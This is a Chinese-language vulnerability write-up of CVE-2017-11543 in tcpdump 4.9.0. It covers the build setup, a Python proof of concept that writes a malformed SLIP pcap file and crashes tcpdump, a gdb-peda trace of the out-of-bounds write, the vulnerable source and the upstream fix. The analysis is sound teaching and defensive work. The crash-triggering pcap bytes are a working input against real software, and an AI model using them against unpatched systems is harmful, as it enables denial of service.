7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞

漏洞描述

tcpdump 是 Linux 上一个强大的网络数据采集分析工具，其 4.9.0 版本的 sliplink_print 函数（位于 print-sl.c）中存在一个栈溢出漏洞，原因是程序在进行内存存取的操作前未对一些值做判断，导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务，甚至任意代码执行。

这个漏洞是发现者用 AFL 做 fuzz 时发现的。

漏洞复现

推荐使用的环境

备注

操作系统

Ubuntu 16.04

体系结构：32 位

调试器

gdb-peda

版本号：7.11.1

漏洞软件

tcpdump

版本号：4.9.0

为了编译 tcpdump，我们需要安装 dev 版本的 libpcap：

$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                Version        Architecture   Description
+++-===================-==============-==============-============================================
ii  libpcap-dev         1.7.4-2        all            development library for libpcap (transitiona

下载安装有漏洞的 tcpdump 4.9.0：

$ wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
$ tar zxvf tcpdump-4.9.0.tar.gz
$ cd tcpdump-tcpdump-4.9.0/
$ ./configure

执行 configure 会生成相应的 Makefile，然后 make install 就可以了，但是这里我们修改下 Makefile，给 gcc 加上参数 -fsanitize=address，以开启内存检测功能：

CFLAGS = -g -O2 -fsanitize=address

最后：

$ sudo make install
$ tcpdump --version
tcpdump version 4.9.0
libpcap version 1.7.4

使用下面的 poc 即可成功地触发漏洞产生 Segment Fault：

import os

def sigsegv():
    buf  = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
    buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
    buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
    buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"

    with open("slip-bad-direction.pcap", "wb") as f:
        f.write(buf)
        f.close()

    cmd = 'tcpdump -e -r slip-bad-direction.pcap'
    os.system(cmd)

if __name__ == "__main__":
    sigsegv()

$ python poc.py
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
ASAN:SIGSEGV
=================================================================
==11084==ERROR: AddressSanitizer: SEGV on unknown address 0x08425c5c (pc 0x0815f697 bp 0x00000027 sp 0xbfae3ab0 T0)
    #0 0x815f696 in compressed_sl_print print-sl.c:253
    #1 0x815f696 in sliplink_print print-sl.c:166
    #2 0x815f696 in sl_if_print print-sl.c:77
    #3 0x8060ecf in pretty_print_packet print.c:339
    #4 0x8055328 in print_packet tcpdump.c:2501
    #5 0xb7203467  (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0x1c467)
    #6 0xb71f40e2 in pcap_loop (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0xd0e2)
    #7 0x8051218 in main tcpdump.c:2004
    #8 0xb7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #9 0x8054315  (/usr/local/sbin/tcpdump.4.9.0+0x8054315)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV print-sl.c:253 compressed_sl_print
==11084==ABORTING

$ file slip-bad-direction.pcap
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)

漏洞分析

首先介绍一下 pcap 包的文件格式，文件头是这样一个结构体，总共 24 个字节：

struct pcap_file_header {
        bpf_u_int32 magic;
        u_short version_major;
        u_short version_minor;
        bpf_int32 thiszone;     /* gmt to local correction */
        bpf_u_int32 sigfigs;    /* accuracy of timestamps */
        bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
        bpf_u_int32 linktype;   /* data link type (LINKTYPE_*) */
};

magic：标识位：4 字节，这个标识位的值是 16 进制的 0xa1b2c3d4
major：主版本号：2 字节，默认值为 0x2
minor：副版本号：2 字节，默认值为 0x04
thiszone：区域时间：4 字节，实际上并未使用，因此被设置为 0
sigfigs：精确时间戳：4 字节，实际上并未使用，因此被设置为 0
snaplen：数据包最大长度：4 字节，该值设置所抓获的数据包的最大长度
linktype：链路层类型：4 字节，数据包的链路层包头决定了链路层的类型

接下来是数据包头，总共 16 个字节：

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
struct timeval {
        long            tv_sec;         /* seconds (XXX should be time_t) */
        suseconds_t     tv_usec;        /* and microseconds */
};

ts：时间戳：8 字节，4字节表示秒数，4字节表示微秒数
caplen：当前数据区长度：4 字节，表示所抓获的数据包保存在 pcap 文件中的实际长度
len：离线数据长度：4 字节，如果文件中保存的不是完整数据包，可能比 caplen 大

我们从 tcpdump 的测试集中找到这样一个测试用例，整个包是这样的：

$ xxd -g1 slip-bad-direction.pcap
00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00  ................
00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00  ...........X....
00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7  '...6...........
00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00  ................
00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00     .RT..5...'.....

所以其链路层类型为 08，即 SLIP（Serial Line Internet Protocol）。通常一个 SLIP 的包结构如下：

+-------------------------+
|        Direction        |
|        (1 Octet)        |
+-------------------------+
|       Packet type       |
|        (1 Octet)        |
+-------------------------+
| Compression information |
|       (14 Octets)       |
+-------------------------+
|         Payload         |
.                         .
.                         .
.                         .

direction 字段指示发送或接收
- 0：表示本机接收的包
- 1：表示本机发送的包

在这里 direction 是 0xe7，并且由于 packet type 被设置了，所以 payload 是一个压缩的 TCP/IP 包，它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报，其结构如下：

+-------------------------------+ Byte
|   | C | I | P | S | A | W | U | 0
+-------------------------------+
|       connection number       | 1
+-------------------------------+
|         TCP checksum          | 2-3
+-------------------------------+
|             data              | 3-16
.                               .
.                               .
.                               .

在 sliplink_print 函数处下断点：

gdb-peda$ b sliplink_print
gdb-peda$ r -e -r slip-bad-direction.pcap
Starting program: /usr/local/sbin/tcpdump.4.9.0 -e -r slip-bad-direction.pcap
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)

[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xe7e7e736
ECX: 0x0
EDX: 0xbfffdb94 --> 0x1
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815efc0 (<sl_if_print+304>:	mov    eax,DWORD PTR [esp+0x48])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x815efbc <sl_if_print+300>:	pop    ebp
   0x815efbd <sl_if_print+301>:	ret
   0x815efbe <sl_if_print+302>:	xchg   ax,ax
=> 0x815efc0 <sl_if_print+304>:	mov    eax,DWORD PTR [esp+0x48]
   0x815efc4 <sl_if_print+308>:	mov    edx,DWORD PTR [esp+0x48]
   0x815efc8 <sl_if_print+312>:	shr    eax,0x3
   0x815efcb <sl_if_print+315>:	and    edx,0x7
   0x815efce <sl_if_print+318>:	movzx  eax,BYTE PTR [eax+0x20000000]
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
0008| 0xbfffd768 --> 0x27 ("'")
0012| 0xbfffd76c --> 0xfbad2488
0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>:	pop    edx)
0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>:	add    ebx,0xbc0b5)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
    p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
77			sliplink_print(ndo, p, ip, length);
gdb-peda$ x/10x 0xb65ba800
0xb65ba800:	0xe7e7e7e7	0xe7e7e7e7	0xe7e7e7e7	0xe7e7e7e7
0xb65ba810:	0xe7e7e7e7	0x00cae7e7	0x00545200	0x08023512
0xb65ba820:	0xc8bd2700	0xbe00082e

参数 p=0xb65ba800 位置处存放着从 pcap 中解析出来的 data，总共 39 个字节。

然后语句 dir = p[SLX_DIR] 从 data 中取出第一个字节作为 dir，即 0xe7：

[----------------------------------registers-----------------------------------]
EAX: 0xe7
EBX: 0xe7e7e736
ECX: 0x0
EDX: 0x0
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815efe8 (<sl_if_print+344>:	mov    DWORD PTR [esp+0x4],eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x815efdb <sl_if_print+331>:	jne    0x815f3c6 <sl_if_print+1334>
   0x815efe1 <sl_if_print+337>:	mov    eax,DWORD PTR [esp+0x48]
   0x815efe5 <sl_if_print+341>:	movzx  eax,BYTE PTR [eax]
=> 0x815efe8 <sl_if_print+344>:	mov    DWORD PTR [esp+0x4],eax
   0x815efec <sl_if_print+348>:	lea    eax,[edi+0x74]
   0x815efef <sl_if_print+351>:	mov    ecx,eax
   0x815eff1 <sl_if_print+353>:	mov    DWORD PTR [esp+0x8],eax
   0x815eff5 <sl_if_print+357>:	shr    eax,0x3
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
0008| 0xbfffd768 --> 0x27 ("'")
0012| 0xbfffd76c --> 0xfbad2488
0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>:	pop    edx)
0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>:	add    ebx,0xbc0b5)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0815efe8	133		dir = p[SLX_DIR];

然后程序将 dir==0xe7 与 SLIPDIR_IN==0 作比较，肯定不相等，于是错误地把 dir 当成 SLIPDIR_OUT==1 处理了：

[----------------------------------registers-----------------------------------]
EAX: 0x8237280 --> 0x204f ('O ')
EBX: 0xe7e7e736
ECX: 0xe7
EDX: 0x8237280 --> 0x204f ('O ')
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0
EIP: 0x815f02b (<sl_if_print+411>:	call   DWORD PTR [edi+0x74])
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x815f026 <sl_if_print+406>:	sub    esp,0x8
   0x815f029 <sl_if_print+409>:	push   eax
   0x815f02a <sl_if_print+410>:	push   edi
=> 0x815f02b <sl_if_print+411>:	call   DWORD PTR [edi+0x74]
   0x815f02e <sl_if_print+414>:	lea    edx,[edi+0x10]
   0x815f031 <sl_if_print+417>:	add    esp,0x10
   0x815f034 <sl_if_print+420>:	mov    eax,edx
   0x815f036 <sl_if_print+422>:	shr    eax,0x3
Guessed arguments:
arg[0]: 0xbfffdb90 --> 0x0
arg[1]: 0x8237280 --> 0x204f ('O ')
[------------------------------------stack-------------------------------------]
0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0
0004| 0xbfffd754 --> 0x8237280 --> 0x204f ('O ')
0008| 0xbfffd758 --> 0x0
0012| 0xbfffd75c --> 0x0
0016| 0xbfffd760 --> 0xe7e7e726
0020| 0xbfffd764 --> 0xe7
0024| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>:	mov    eax,0x8330fa4)
0028| 0xbfffd76c --> 0xfbad2488
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0815f02b	134		ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

继续往下执行，终于在执行到语句 lastlen[dir][lastconn] = length - (hlen << 2); 的时候挂掉了，它访问了一个不合法的地址：

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xe7e7
EBX: 0xe7e7e6de
ECX: 0xbfffdc04 --> 0x8060b00 (<ndo_printf>:	mov    eax,0x8330fa4)
EDX: 0xe7
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815f697 (<sl_if_print+2055>:	mov    DWORD PTR [eax*4+0x83ebcc0],ebx)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]
   0x815f68e <sl_if_print+2046>:	mov    ebx,DWORD PTR [esp+0x14]
   0x815f692 <sl_if_print+2050>:	shl    eax,0x8
   0x815f695 <sl_if_print+2053>:	add    eax,edx
=> 0x815f697 <sl_if_print+2055>:	mov    DWORD PTR [eax*4+0x83ebcc0],ebx
   0x815f69e <sl_if_print+2062>:	mov    eax,ecx
   0x815f6a0 <sl_if_print+2064>:	shr    eax,0x3
   0x815f6a3 <sl_if_print+2067>:	movzx  edx,BYTE PTR [eax+0x20000000]
   0x815f6aa <sl_if_print+2074>:	mov    eax,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xe7
0008| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>:	mov    eax,0x8330fa4)
0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7
0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7
0020| 0xbfffd774 --> 0xe7e7e6de
0024| 0xbfffd778 --> 0xb795af00 (<__realpath_chk>:	push   ebx)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
    chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
    at ./print-sl.c:253
253		lastlen[dir][lastconn] = length - (hlen << 2);
gdb-peda$ x/x $eax*4+0x83ebcc0
0x8425c5c:	Cannot access memory at address 0x8425c5c

说一下 compressed_sl_print 的参数：

dir=0xe7 是 direction
length=0xe7e7e726 是长度，由包头的 len 计算得到
ip=0xb65ba810 指向 data
chdr=0xb65ba801 指向压缩的 TCP/IP 头
ndo=0xbfffdb90 是其他一些选项

在 lastlen[dir][lastconn] = length - (hlen << 2); 语句中：

lastlen：被定义为 static u_int lastlen[2][256];
hlen 是未压缩的 TCP/IP 头的长度
length - hlen 是 data 的总数

于是这里传入的 dir==0xe7，超出了 lastlen 定义的范围，发生错误。

回溯一下栈调用情况：

gdb-peda$ bt
#0  0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
    chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
    at ./print-sl.c:253
#1  sliplink_print (length=0xe7e7e726, ip=0xb65ba810,
    p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0xbfffdb90) at ./print-sl.c:166
#2  sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
    p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
#3  0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c,
    sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, packets_captured=0x1)
    at ./print.c:339
#4  0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c,
    sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./tcpdump.c:2501
#5  0xb7a37468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6  0xb7a280e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#7  0x08051219 in main (argc=0x4, argv=0xbfffef74) at ./tcpdump.c:2004
#8  0xb787d637 in __libc_start_main (main=0x804f8f0 <main>, argc=0x4, argv=0xbfffef74,
    init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>,
    stack_end=0xbfffef6c) at ../csu/libc-start.c:291
#9  0x08054316 in _start ()

问题发生的原因是 sliplink_print 函数的 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); 没有考虑到 dir 既不是 0 也不是 1 的情况，错误地把它当做一个发送的数据包处理，然后调用了 compressed_sl_print 函数，导致非法内存地址访问。

漏洞程序代码如下：

#define SLX_DIR 0
#define SLX_CHDR 1
#define CHDR_LEN 15

#define SLIPDIR_IN 0
#define SLIPDIR_OUT 1

static u_int lastlen[2][256];

static void
sliplink_print(netdissect_options *ndo,
               register const u_char *p, register const struct ip *ip,
               register u_int length)
{
	int dir;
	u_int hlen;

	dir = p[SLX_DIR];
	ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

	if (ndo->ndo_nflag) {
		/* XXX just dump the header */
		register int i;

		for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
			ND_PRINT((ndo, "%02x.", p[i]));
		ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
		return;
	}
	switch (p[SLX_CHDR] & 0xf0) {

	case TYPE_IP:
		ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
		break;

	case TYPE_UNCOMPRESSED_TCP:
		/*
		 * The connection id is stored in the IP protocol field.
		 * Get it from the link layer since sl_uncompress_tcp()
		 * has restored the IP header copy to IPPROTO_TCP.
		 */
		lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
		hlen = IP_HL(ip);
		hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
		lastlen[dir][lastconn] = length - (hlen << 2);
		ND_PRINT((ndo, "utcp %d: ", lastconn));
		break;

	default:
		if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
			compressed_sl_print(ndo, &p[SLX_CHDR], ip,
			    length, dir);
			ND_PRINT((ndo, ": "));
		} else
			ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
	}
}

static void
compressed_sl_print(netdissect_options *ndo,
                    const u_char *chdr, const struct ip *ip,
                    u_int length, int dir)
{
	register const u_char *cp = chdr;
	register u_int flags, hlen;

	flags = *cp++;
	if (flags & NEW_C) {
		lastconn = *cp++;
		ND_PRINT((ndo, "ctcp %d", lastconn));
	} else
		ND_PRINT((ndo, "ctcp *"));

	/* skip tcp checksum */
	cp += 2;

	switch (flags & SPECIALS_MASK) {
	case SPECIAL_I:
		ND_PRINT((ndo, " *SA+%d", lastlen[dir][lastconn]));
		break;

	case SPECIAL_D:
		ND_PRINT((ndo, " *S+%d", lastlen[dir][lastconn]));
		break;

	default:
		if (flags & NEW_U)
			cp = print_sl_change(ndo, "U=", cp);
		if (flags & NEW_W)
			cp = print_sl_winchange(ndo, cp);
		if (flags & NEW_A)
			cp = print_sl_change(ndo, "A+", cp);
		if (flags & NEW_S)
			cp = print_sl_change(ndo, "S+", cp);
		break;
	}
	if (flags & NEW_I)
		cp = print_sl_change(ndo, "I+", cp);

	/*
	 * 'hlen' is the length of the uncompressed TCP/IP header (in words).
	 * 'cp - chdr' is the length of the compressed header.
	 * 'length - hlen' is the amount of data in the packet.
	 */
	hlen = IP_HL(ip);
	hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
	lastlen[dir][lastconn] = length - (hlen << 2);
	ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
}

漏洞修复

在最新的 tcpdump 中已经修复了该漏洞，当发现 direction 是错误的值时，直接返回：

$ tcpdump --version
tcpdump version 4.9.2
libpcap version 1.7.4
Compiled with AddressSanitizer/GCC.

$ tcpdump -e -r slip-bad-direction.pcap
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
22:23:50.507384 Invalid direction 231 ip v14

具体代码的修改如下所示，文件 print-sl.c 用于打印 CSLIP（Compressed Serial Line Internet Protocol），即压缩的 SLIP：

$ git diff 09b1185 378ac56 print-sl.c
diff --git a/print-sl.c b/print-sl.c
index 3fd7e898..a02077b3 100644
--- a/print-sl.c
+++ b/print-sl.c
@@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo,
        u_int hlen;

        dir = p[SLX_DIR];   // 在这个例子中 dir = 231 = 0xe7
-       ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+       switch (dir) {

+       case SLIPDIR_IN:
+               ND_PRINT((ndo, "I "));
+               break;
+
+       case SLIPDIR_OUT:
+               ND_PRINT((ndo, "O "));
+               break;
+
+       default:    // 当 dir 不能匹配时的默认操作，将其赋值为 -1
+               ND_PRINT((ndo, "Invalid direction %d ", dir));
+               dir = -1;
+               break;
+       }
        if (ndo->ndo_nflag) {
                /* XXX just dump the header */
                register int i;
@@ -155,13 +168,21 @@ sliplink_print(netdissect_options *ndo,
                 * has restored the IP header copy to IPPROTO_TCP.
                 */
                lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
+               ND_PRINT((ndo, "utcp %d: ", lastconn));
+               if (dir == -1) {    // 在存取操作前检查 dir 的值
+                       /* Direction is bogus, don't use it */
+                       return;
+               }
                hlen = IP_HL(ip);
                hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
                lastlen[dir][lastconn] = length - (hlen << 2);
-               ND_PRINT((ndo, "utcp %d: ", lastconn));
                break;

        default:
+               if (dir == -1) {    // 在存取操作前检查 dir 的值
+                       /* Direction is bogus, don't use it */
+                       return;
+               }
                if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
                        compressed_sl_print(ndo, &p[SLX_CHDR], ip,
                            length, dir);

commit：CVE-2017-11543/Make sure the SLIP direction octet is valid.

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